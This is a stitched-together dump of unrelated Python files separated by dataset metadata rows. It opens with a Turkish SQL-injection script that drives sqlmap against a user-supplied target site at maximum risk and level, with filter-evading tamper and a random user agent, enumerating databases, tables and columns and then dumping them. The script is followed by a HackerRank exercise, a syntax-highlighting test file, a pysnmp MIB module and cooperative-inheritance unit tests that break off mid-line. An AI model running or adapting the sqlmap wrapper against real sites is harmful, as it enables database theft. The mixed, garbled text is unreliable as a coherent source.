import time import os print("[+] Root sql scanner") print("[+] Code by RootMrSpy") print("") site = input("[+] Saldırı yapılacak site: ") print("") os.system("sqlmap.py -u " + site + " --risk=3 --level=5 --tamper=between --random-agent --no-cast --batch --threads=10 --dbs") print("") database = input("[+] Database ismi giriniz: ") print("") os.system("sqlmap.py -u " + site + " --risk=3 --level=5 --tamper=between --random-agent --no-cast --batch --threads=10 -D " + database + " --tables") print("") tables = input("[+] Tablo ismi giriniz: ") print("") os.system("sqlmap.py -u " + site + " --risk=3 --level=5 --tamper=between --random-agent --no-cast --batch --threads=10 -D " + database + " -T" + tables + " --column") print("") kolon = input("[+] Kolon ismi giriniz: ") print("") os.system("sqlmap.py -u " + site + " --risk=3 --level=5 --tamper=between --random-agent --no-cast --batch --threads=10 -D " + database + " -T" + tables + " -C" + kolon + " --dump")
33.466667
181
0.578685
132
1,004
4.401515
0.325758
0.048193
0.089501
0.130809
0.685026
0.685026
0.685026
0.685026
0.685026
0.685026
0
0.019394
0.178287
1,004
29
182
34.62069
0.684848
0
0
0.4
0
0.2
0.590769
0
0
0
0
0
0
1
0
false
0
0.1
0
0.1
0.5
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
2
0532730066a4bdbf4101a00faf535f9d8f6eb1d2
207
py
Python
hackerrank/30DaysOfCode/06_ReviewLoop.py
mizukirc/python-snippets
92e36ba59e978dd764e1e4b570ac3b66c1381e69
[ "MIT" ]
null
null
null
hackerrank/30DaysOfCode/06_ReviewLoop.py
mizukirc/python-snippets
92e36ba59e978dd764e1e4b570ac3b66c1381e69
[ "MIT" ]
null
null
null
hackerrank/30DaysOfCode/06_ReviewLoop.py
mizukirc/python-snippets
92e36ba59e978dd764e1e4b570ac3b66c1381e69
[ "MIT" ]
null
null
null
# https://www.hackerrank.com/challenges/30-review-loop/ T = int(input()) S = list() for i in range(T): S.append(str(input())) for i in range(len(S)): print(S[i][0] + S[i][2::2] + ' ' + S[i][1::2])
20.7
55
0.555556
40
207
2.875
0.6
0.052174
0.104348
0.191304
0
0
0
0
0
0
0
0.040698
0.169082
207
9
56
23
0.627907
0.256039
0
0
0
0
0.006579
0
0
0
0
0
0
1
0
false
0
0
0
0
0.166667
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
0538c85b60839e2414a55cce512b5ad837bde4dc
1,699
py
Python
tests/test_code.py
MattDMo/PythonImproved
bf64c32c0bfd554503d5537b0edbfbc11b8d3b29
[ "MIT" ]
83
2015-02-03T11:13:30.000Z
2021-05-26T20:09:29.000Z
tests/test_code.py
MattDMo/PythonImproved
bf64c32c0bfd554503d5537b0edbfbc11b8d3b29
[ "MIT" ]
52
2015-01-07T20:46:53.000Z
2020-04-18T18:50:43.000Z
tests/test_code.py
MattDMo/PythonImproved
bf64c32c0bfd554503d5537b0edbfbc11b8d3b29
[ "MIT" ]
17
2015-02-18T23:58:22.000Z
2018-06-20T14:54:37.000Z
from . import foo from .. import bar from ... import baz import ...snurp def blah(...): pass class Foo(tuple): @staticmethod def __new__(cls, initialValue=(0,0)): return tuple.__new__(cls, initialValue) class Bar(tuple): def __init__(self, initialValue=(0,0)): super(tuple, self).__init__(initialValue) super(tuple, self).count(items, stuff="thneed") @staticmethod def somefunc(arg, arrg=pirate): pass @property list(map(str, range(100))) [str(i) for i in range(100)] sâomething(arg=22) def sâomething(): pass class sâomething(object): pass __init__(something) list(map(str, range(100))) # ^^^ support.type.python [str(i) for i in range(100)] #^^^ support.function.builtin.call.python super(arg1=1)(arg2=2) list abs, map some.None NotImplemented print (file=None) print __class__ print keyword print __init__ print(foobar) __init__ . something() callback(print) callback(range) .__init__ __init__ [2] @ deco . __init__ (call=some) # rator def function(): pass @classmethod def from_foo(cls, foo): return cls(foo, bar='baz') # highlighting for arguments broken mod.func() mod.submod.func() func().func2().attr mod.func().attr.attr2.func2() range(foo, bar) (...) __exit__ print foobar Привет_мир() or 我喜欢奶酪() or Kolbász_finom() bool class MyWarning(Warning): def __init__(self, text='first part' 'second part'): self.args = (text,) foo(text="line 1" "line 2") foobar(param=r"()") def f(): print(r"()") f() def hi(name): r""" Say hi! with a \) special characters. """ return 'hi ' + name print(hi('avi'))
15.035398
55
0.633314
227
1,699
4.497797
0.436123
0.031342
0.03526
0.029383
0.070519
0.03526
0.03526
0
0
0
0
0.020974
0.214244
1,699
112
56
15.169643
0.74382
0.060624
0
0.15493
0
0
0.033965
0
0
0
0
0
0
0
null
null
0.070423
0.056338
null
null
0.126761
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
053f33c963351b9760c153804820d645631a8562
15,396
py
Python
pysnmp/A3COM0420-SWITCH-EXTENSIONS.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
11
2021-02-02T16:27:16.000Z
2021-08-31T06:22:49.000Z
pysnmp/A3COM0420-SWITCH-EXTENSIONS.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
75
2021-02-24T17:30:31.000Z
2021-12-08T00:01:18.000Z
pysnmp/A3COM0420-SWITCH-EXTENSIONS.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
10
2019-04-30T05:51:36.000Z
2022-02-16T03:33:41.000Z
# # PySNMP MIB module A3COM0420-SWITCH-EXTENSIONS (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/A3COM0420-SWITCH-EXTENSIONS # Produced by pysmi-0.3.4 at Mon Apr 29 16:54:17 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # brasica2, = mibBuilder.importSymbols("A3COM0004-GENERIC", "brasica2") OctetString, Integer, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "OctetString", "Integer", "ObjectIdentifier") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ValueSizeConstraint, SingleValueConstraint, ConstraintsUnion, ConstraintsIntersection, ValueRangeConstraint = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueSizeConstraint", "SingleValueConstraint", "ConstraintsUnion", "ConstraintsIntersection", "ValueRangeConstraint") ifIndex, = mibBuilder.importSymbols("IF-MIB", "ifIndex") ModuleCompliance, NotificationGroup = mibBuilder.importSymbols("SNMPv2-CONF", "ModuleCompliance", "NotificationGroup") NotificationType, Bits, MibIdentifier, TimeTicks, Integer32, ObjectIdentity, Counter64, Unsigned32, iso, Gauge32, ModuleIdentity, IpAddress, Counter32, MibScalar, MibTable, MibTableRow, MibTableColumn = mibBuilder.importSymbols("SNMPv2-SMI", "NotificationType", "Bits", "MibIdentifier", "TimeTicks", "Integer32", "ObjectIdentity", "Counter64", "Unsigned32", "iso", "Gauge32", "ModuleIdentity", "IpAddress", "Counter32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn") TextualConvention, MacAddress, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "TextualConvention", "MacAddress", "DisplayString") stackConfigGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 43, 10, 34, 1)) prConStackFwdingMode = MibScalar((1, 3, 6, 1, 4, 1, 43, 10, 34, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("fastForward", 1), ("fragmentFree", 2), ("storeAndForward", 3), ("intelligent", 4)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConStackFwdingMode.setStatus('mandatory') prConStackPaceMode = MibScalar((1, 3, 6, 1, 4, 1, 43, 10, 34, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("notApplicable", 1), ("normalEthernet", 2), ("lowLatency", 3)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConStackPaceMode.setStatus('mandatory') prConStackVLANConfigMode = MibScalar((1, 3, 6, 1, 4, 1, 43, 10, 34, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("notApplicable", 1), ("portMode", 2), ("autoSelect", 3)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConStackVLANConfigMode.setStatus('mandatory') prConStackRAPStudyPort = MibScalar((1, 3, 6, 1, 4, 1, 43, 10, 34, 1, 4), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConStackRAPStudyPort.setStatus('mandatory') prConStackRAPCopyPort = MibScalar((1, 3, 6, 1, 4, 1, 43, 10, 34, 1, 5), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConStackRAPCopyPort.setStatus('mandatory') prConStackRAPEnable = MibScalar((1, 3, 6, 1, 4, 1, 43, 10, 34, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("off", 1), ("on", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConStackRAPEnable.setStatus('mandatory') prConStackBridgeMode = MibScalar((1, 3, 6, 1, 4, 1, 43, 10, 34, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("single", 1), ("multiple", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConStackBridgeMode.setStatus('mandatory') prConStackIpTos = MibScalar((1, 3, 6, 1, 4, 1, 43, 10, 34, 1, 9), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("notApplicable", 1), ("enable", 2), ("disable", 3)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConStackIpTos.setStatus('mandatory') prConStackPktRateControl = MibScalar((1, 3, 6, 1, 4, 1, 43, 10, 34, 1, 10), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9))).clone(namedValues=NamedValues(("notApplicable", 1), ("disable", 2), ("limitUnknownDAs", 3), ("limitMcasts", 4), ("limitMcastsAndUnknownDAs", 5), ("limitBcasts", 6), ("limitBcastsAndUnknownDAs", 7), ("limitBcastsAndMcasts", 8), ("limitBcastsMcastsAndUnknownDAs", 9)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConStackPktRateControl.setStatus('mandatory') prConStackPktRateLimit = MibScalar((1, 3, 6, 1, 4, 1, 43, 10, 34, 1, 11), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 262143))).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConStackPktRateLimit.setStatus('mandatory') prConStackStpProtocolVersion = MibScalar((1, 3, 6, 1, 4, 1, 43, 10, 34, 1, 12), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 2))).clone(namedValues=NamedValues(("stpVersion0", 0), ("rstpVersion2", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConStackStpProtocolVersion.setStatus('mandatory') prConStackStpPathCostDefault = MibScalar((1, 3, 6, 1, 4, 1, 43, 10, 34, 1, 13), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("stp8021d1998", 1), ("stp8021t2000", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConStackStpPathCostDefault.setStatus('mandatory') prConStackLacpOperInfo = MibScalar((1, 3, 6, 1, 4, 1, 43, 10, 34, 1, 14), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("notOperational", 1), ("operational", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: prConStackLacpOperInfo.setStatus('mandatory') switchConfigGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 43, 10, 34, 2)) prConfigPortTable = MibTable((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 1), ) if mibBuilder.loadTexts: prConfigPortTable.setStatus('mandatory') prConfigPortEntry = MibTableRow((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 1, 1), ).setIndexNames((0, "IF-MIB", "ifIndex")) if mibBuilder.loadTexts: prConfigPortEntry.setStatus('mandatory') prConPortVLANConfigMode = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 1, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("notApplicable", 1), ("useDefault", 2), ("portMode", 3), ("autoSelect", 4)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConPortVLANConfigMode.setStatus('mandatory') prConPortIFM = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 1, 1, 13), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10))).clone(namedValues=NamedValues(("notApplicable", 1), ("off", 2), ("maxJams6", 3), ("maxJams7", 4), ("maxJams8", 5), ("maxJams9", 6), ("maxJams10", 7), ("maxJams11", 8), ("maxJams12", 9), ("maxJams13", 10)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConPortIFM.setStatus('mandatory') prConPortLacp = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 1, 1, 14), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enable", 1), ("disable", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConPortLacp.setStatus('mandatory') prConPortStpAdminPathCost = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 1, 1, 15), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 200000000))).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConPortStpAdminPathCost.setStatus('mandatory') prConPortCascadeMode = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 1, 1, 16), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: prConPortCascadeMode.setStatus('mandatory') prConPortFdbTable = MibTable((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 2), ) if mibBuilder.loadTexts: prConPortFdbTable.setStatus('mandatory') prConPortFdbEntry = MibTableRow((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 2, 1), ).setIndexNames((0, "A3COM0420-SWITCH-EXTENSIONS", "prConPortFdbPort"), (0, "A3COM0420-SWITCH-EXTENSIONS", "prConPortFdbId"), (0, "A3COM0420-SWITCH-EXTENSIONS", "prConPortFdbAddress")) if mibBuilder.loadTexts: prConPortFdbEntry.setStatus('mandatory') prConPortFdbPort = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 2, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 65535))) if mibBuilder.loadTexts: prConPortFdbPort.setStatus('mandatory') prConPortFdbId = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 2, 1, 2), Integer32()) if mibBuilder.loadTexts: prConPortFdbId.setStatus('mandatory') prConPortFdbAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 2, 1, 3), MacAddress()) if mibBuilder.loadTexts: prConPortFdbAddress.setStatus('mandatory') prConPortFdbStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 2, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("other", 1), ("invalid", 2), ("learned", 3), ("self", 4), ("mgmt", 5)))).setMaxAccess("readonly") if mibBuilder.loadTexts: prConPortFdbStatus.setStatus('mandatory') prConTrunkMulticastTable = MibTable((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 3), ) if mibBuilder.loadTexts: prConTrunkMulticastTable.setStatus('mandatory') prConTrunkMulticastEntry = MibTableRow((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 3, 1), ).setIndexNames((0, "A3COM0420-SWITCH-EXTENSIONS", "prConTrunkMulticastFdbId"), (0, "A3COM0420-SWITCH-EXTENSIONS", "prConTrunkMulticastAddress")) if mibBuilder.loadTexts: prConTrunkMulticastEntry.setStatus('mandatory') prConTrunkMulticastFdbId = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 3, 1, 1), Integer32()) if mibBuilder.loadTexts: prConTrunkMulticastFdbId.setStatus('mandatory') prConTrunkMulticastAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 3, 1, 2), MacAddress()) if mibBuilder.loadTexts: prConTrunkMulticastAddress.setStatus('mandatory') prConTrunkMulticastPortlist = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 3, 1, 3), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConTrunkMulticastPortlist.setStatus('mandatory') prConTrunkMulticastStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 3, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("other", 1), ("invalid", 2), ("permanent", 3), ("deleteOnReset", 4), ("deleteOnTimeout", 5)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConTrunkMulticastStatus.setStatus('mandatory') prConTrunkMulticastType = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 3, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("other", 1), ("invalid", 2), ("learned", 3), ("self", 4), ("mgmt", 5)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: prConTrunkMulticastType.setStatus('mandatory') prConTrunkMulticastRobp = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 3, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("true", 1), ("false", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: prConTrunkMulticastRobp.setStatus('mandatory') prConIfIndexTable = MibTable((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 4), ) if mibBuilder.loadTexts: prConIfIndexTable.setStatus('mandatory') prConIfIndexEntry = MibTableRow((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 4, 1), ).setIndexNames((0, "A3COM0420-SWITCH-EXTENSIONS", "prConIfIndexGroupIndex"), (0, "A3COM0420-SWITCH-EXTENSIONS", "prConIfIndexPortIndex")) if mibBuilder.loadTexts: prConIfIndexEntry.setStatus('mandatory') prConIfIndexGroupIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 4, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 1024))) if mibBuilder.loadTexts: prConIfIndexGroupIndex.setStatus('mandatory') prConIfIndexPortIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 4, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 1024))) if mibBuilder.loadTexts: prConIfIndexPortIndex.setStatus('mandatory') prConIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 4, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: prConIfIndex.setStatus('mandatory') prConIfIndexBridgePort = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 4, 1, 4), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 65535))).setMaxAccess("readonly") if mibBuilder.loadTexts: prConIfIndexBridgePort.setStatus('mandatory') prConfigAggTable = MibTable((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 5), ) if mibBuilder.loadTexts: prConfigAggTable.setStatus('mandatory') prConfigAggEntry = MibTableRow((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 5, 1), ).setIndexNames((0, "IF-MIB", "ifIndex")) if mibBuilder.loadTexts: prConfigAggEntry.setStatus('mandatory') prConfigAggStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 43, 10, 34, 2, 5, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("unused", 1), ("autoInUse", 2), ("autoAgeing", 3), ("autoReusable", 4), ("manual", 5)))).setMaxAccess("readonly") if mibBuilder.loadTexts: prConfigAggStatus.setStatus('mandatory') mibBuilder.exportSymbols("A3COM0420-SWITCH-EXTENSIONS", prConIfIndexGroupIndex=prConIfIndexGroupIndex, prConIfIndexTable=prConIfIndexTable, prConfigAggEntry=prConfigAggEntry, prConfigAggStatus=prConfigAggStatus, prConTrunkMulticastStatus=prConTrunkMulticastStatus, switchConfigGroup=switchConfigGroup, prConPortIFM=prConPortIFM, stackConfigGroup=stackConfigGroup, prConPortFdbStatus=prConPortFdbStatus, prConTrunkMulticastAddress=prConTrunkMulticastAddress, prConIfIndexEntry=prConIfIndexEntry, prConStackIpTos=prConStackIpTos, prConStackStpPathCostDefault=prConStackStpPathCostDefault, prConPortFdbId=prConPortFdbId, prConPortVLANConfigMode=prConPortVLANConfigMode, prConTrunkMulticastTable=prConTrunkMulticastTable, prConIfIndexBridgePort=prConIfIndexBridgePort, prConPortFdbPort=prConPortFdbPort, prConPortCascadeMode=prConPortCascadeMode, prConStackBridgeMode=prConStackBridgeMode, prConPortFdbTable=prConPortFdbTable, prConTrunkMulticastRobp=prConTrunkMulticastRobp, prConStackRAPEnable=prConStackRAPEnable, prConPortLacp=prConPortLacp, prConTrunkMulticastType=prConTrunkMulticastType, prConfigAggTable=prConfigAggTable, prConStackPktRateLimit=prConStackPktRateLimit, prConIfIndexPortIndex=prConIfIndexPortIndex, prConTrunkMulticastFdbId=prConTrunkMulticastFdbId, prConStackFwdingMode=prConStackFwdingMode, prConStackStpProtocolVersion=prConStackStpProtocolVersion, prConPortFdbEntry=prConPortFdbEntry, prConPortFdbAddress=prConPortFdbAddress, prConPortStpAdminPathCost=prConPortStpAdminPathCost, prConIfIndex=prConIfIndex, prConStackRAPCopyPort=prConStackRAPCopyPort, prConTrunkMulticastEntry=prConTrunkMulticastEntry, prConTrunkMulticastPortlist=prConTrunkMulticastPortlist, prConStackRAPStudyPort=prConStackRAPStudyPort, prConfigPortEntry=prConfigPortEntry, prConStackPktRateControl=prConStackPktRateControl, prConfigPortTable=prConfigPortTable, prConStackPaceMode=prConStackPaceMode, prConStackVLANConfigMode=prConStackVLANConfigMode, prConStackLacpOperInfo=prConStackLacpOperInfo)
146.628571
1,990
0.76338
1,655
15,396
7.101511
0.132326
0.008508
0.011486
0.015315
0.45197
0.384072
0.30171
0.30171
0.30171
0.28095
0
0.076804
0.076513
15,396
104
1,991
148.038462
0.749824
0.022603
0
0
0
0
0.145156
0.028659
0
0
0
0
0
1
0
false
0
0.082474
0
0.082474
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
0545310e9a9e476687effeda0ef34bca4dadf704
15,871
py
Python
test/tst_cooper.py
arximboldi/cooper
639d00932a21290fb9d7fe1cb0aed283b6785820
[ "MIT" ]
6
2015-07-22T14:25:47.000Z
2018-04-01T10:32:46.000Z
test/tst_cooper.py
arximboldi/cooper
639d00932a21290fb9d7fe1cb0aed283b6785820
[ "MIT" ]
null
null
null
test/tst_cooper.py
arximboldi/cooper
639d00932a21290fb9d7fe1cb0aed283b6785820
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # # File: cooper.py # Author: Juan Pedro Bolívar Puente <raskolnikov@es.gnu.org> # Date: Fri Jan 20 16:12:23 2012 # # # Copyright (c) 2012, 2015 Juan Pedro Bolivar Puente <raskolnikov@gnu.org> # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation # files (the "Software"), to deal in the Software without # restriction, including without limitation the rights to use, copy, # modify, merge, publish, distribute, sublicense, and/or sell copies # of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS # BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # """ Tests for cooper. """ import cooper from itertools import repeat import unittest def make_test_hierarchy(trace, decorator=lambda x:x, metacls=type): @decorator class _A(object): __metaclass__ = metacls @cooper.cooperate def __init__(self): trace.append(_A.__init__) @cooper.cooperative def method(self, mparam): self._a_mparam = mparam trace.append(_A.method) @cooper.cooperative def post_method(self, pmparam): self._a_pmparam = pmparam trace.append(_A.post_method) @decorator class _B(_A): __metaclass__ = metacls @cooper.cooperate def __init__(self, b_param = 'b_param'): self._b_param = b_param trace.append(_B.__init__) @cooper.cooperate def method(self, mparam, b_mparam='b_mparam'): self._b_mparam = b_mparam trace.append(_B.method) @cooper.post_cooperate def post_method(self, pmparam, b_pmparam='b_mparam'): self._b_pmparam = b_pmparam trace.append(_B.post_method) @decorator class _C(_A): __metaclass__ = metacls @cooper.cooperate def __init__(self): trace.append(_C.__init__) @cooper.cooperate def method(self, mparam): self._c_mparam = mparam trace.append(_C.method) @cooper.post_cooperate def post_method(self, pmparam): self._c_pmparam = pmparam trace.append(_C.post_method) @decorator class _D(_B, _C): __metaclass__ = metacls @cooper.cooperate def __init__(self, d_param = 'd_param'): self._d_param = d_param trace.append(_D.__init__) @cooper.cooperate def method(self, mparam, d_mparam='d_mparam'): self._d_mparam = d_mparam trace.append(_D.method) @cooper.post_cooperate def post_method(self, pmparam, d_pmparam='d_mparam'): self._d_pmparam = d_pmparam trace.append(_D.post_method) @decorator class _F(_D, _A): __metaclass__ = metacls return _A, _B, _C, _D, _F class TestCoop(unittest.TestCase): cls_decorator = cooper.cooperative_class cls_meta = type def setUp(self): self._trace = [] self._A, self._B, self._C, self._D, self._F = make_test_hierarchy( self._trace, decorator = self.cls_decorator.im_func, metacls = self.cls_meta) def test_init_parameter_passing(self): obj = self._D() self.assertEqual(obj._b_param, 'b_param') self.assertEqual(obj._d_param, 'd_param') obj = self._D(b_param = 'new_b_param') self.assertEqual(obj._b_param, 'new_b_param') self.assertEqual(obj._d_param, 'd_param') obj = self._D(d_param = 'new_d_param') self.assertEqual(obj._b_param, 'b_param') self.assertEqual(obj._d_param, 'new_d_param') obj = self._D(d_param = 'new_d_param', b_param = 'new_b_param') self.assertEqual(obj._b_param, 'new_b_param') self.assertEqual(obj._d_param, 'new_d_param') def test_init_check_no_positional(self): def make_cls(): @self.cls_decorator.im_func class _Bad(object): __metaclass__ = self.cls_meta @cooper.cooperate def __init__(self, positional): pass self.assertRaises (cooper.CooperativeError, make_cls) def test_init_check_no_variadic(self): def make_cls(): @self.cls_decorator.im_func class _Bad(object): __metaclass__ = self.cls_meta @cooper.cooperate def __init__(self, *a): pass self.assertRaises (cooper.CooperativeError, make_cls) def test_init_check_no_variadic_keywords(self): def make_cls(): @self.cls_decorator.im_func class _Bad(object): __metaclass__ = self.cls_meta @cooper.cooperate def __init__(self, **k): pass self.assertRaises (cooper.CooperativeError, make_cls) def test_init_must_cooperate(self): def make_cls(): @self.cls_decorator.im_func class _Bad(object): __metaclass__ = self.cls_meta def __init__(self): pass self.assertRaises (cooper.CooperativeError, make_cls) def test_init_must_override(self): def make_cls(): @self.cls_decorator.im_func class _Bad(object): __metaclass__ = self.cls_meta @cooper.cooperative def __init__(self): pass self.assertRaises (cooper.CooperativeError, make_cls) def test_super_params_sends_params(self): @self.cls_decorator.im_func class _Fixed(self._F): __metaclass__ = self.cls_meta @cooper.cooperate_with_params(b_param='fixed_b_param') def __init__(self): pass obj = _Fixed() self.assertEqual(obj._b_param, 'fixed_b_param') def test_manual_init(self): outer_self = self @self.cls_decorator.im_func class _Manual(self._D): __metaclass__ = self.cls_meta @cooper.manual_cooperate def __init__(self, *a, **k): super(_Manual, self).__init__(*a, **k) outer_self._trace.append(_Manual.__init__) self._clear_trace() _Manual() self._check_trace_calls_with_mro(_Manual.__init__) def test_can_mix_non_cooperative_superclass_single_inherit(self): class NonCooperativeSuperClass(object): pass @self.cls_decorator.im_func class _Good(NonCooperativeSuperClass): __metaclass__ = self.cls_meta self.assertTrue(isinstance(_Good(), _Good)) def test_can_not_mix_non_cooperative_superclass_multi_inherit(self): class NonCooperativeSuperClass1(object): pass class NonCooperativeSuperClass2(object): pass def make_class(): @self.cls_decorator.im_func class _Bad(NonCooperativeSuperClass1, NonCooperativeSuperClass2): __metaclass__ = self.cls_meta self.assertRaises(cooper.CooperativeError, make_class) def 